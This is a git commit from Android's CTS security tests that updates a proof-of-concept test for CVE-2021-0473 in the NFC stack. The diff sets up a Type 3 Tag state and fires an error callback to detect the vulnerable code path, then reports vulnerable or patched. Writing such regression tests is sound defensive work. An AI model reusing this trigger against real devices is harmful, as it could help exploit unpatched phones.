commit 32612feb6e62de9ff7c97586f0dc20d5c825efed
author Krishna C R <krishna.cr@ittiam.com> Thu Nov 18 08:57:40 2021 +0530
committer Stacie Mashnitskaya <mashnitskaya@google.com> Fri Dec 10 15:30:41 2021 -0800
tree a6c73017a09b5600db24021044b3fbfd1ce2c2e6
parent 1be2cb1b316795e34ff295192597b48eaf4c8313

Updated CTS test for Android Security b/179687208

Bug: 179687208
Bug: 182917450
Test: Ran the new testcase on android-9.0.0_r39 with/without patch

Change-Id: I21b537305975be25d7e36759062f0ca07cbe9c8c

hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
index d7650ad..152f538 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
@@ -92,27 +92,31 @@
 }
 
 int main() {
-  tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
 
-  GKI_init();
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
 
-  uint8_t peerNfcID[NCI_RF_F_UID_LEN];
-  uint8_t mrtiCheck = 1, mrtiUpdate = 1;
-  if (rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) != NFC_STATUS_OK) {
-    return EXIT_FAILURE;
-  }
+    GKI_init();
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
 
-  tNFC_CONN p_data = {};
-  NFC_HDR nfcHdr = {};
-  p_data.data.p_data = &nfcHdr;
+    uint8_t peerNfcID[NCI_RF_F_UID_LEN];
+    uint8_t mrtiCheck = 1, mrtiUpdate = 1;
+    FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK);
 
-  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
-  p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    tNFC_CONN p_data = {};
+    NFC_HDR nfcHdr = {};
+    p_data.data.p_data = &nfcHdr;
 
-  uint8_t conn_id = NFC_RF_CONN_ID;
-  tNFC_CONN_EVT event = NFC_ERROR_CEVT;
-  p_cb->p_cback(conn_id, event, &p_data);
-  return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+
+    uint8_t conn_id = NFC_RF_CONN_ID;
+    tNFC_CONN_EVT event = NFC_ERROR_CEVT;
+    p_cb->p_cback(conn_id, event, &p_data);
+    return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
 }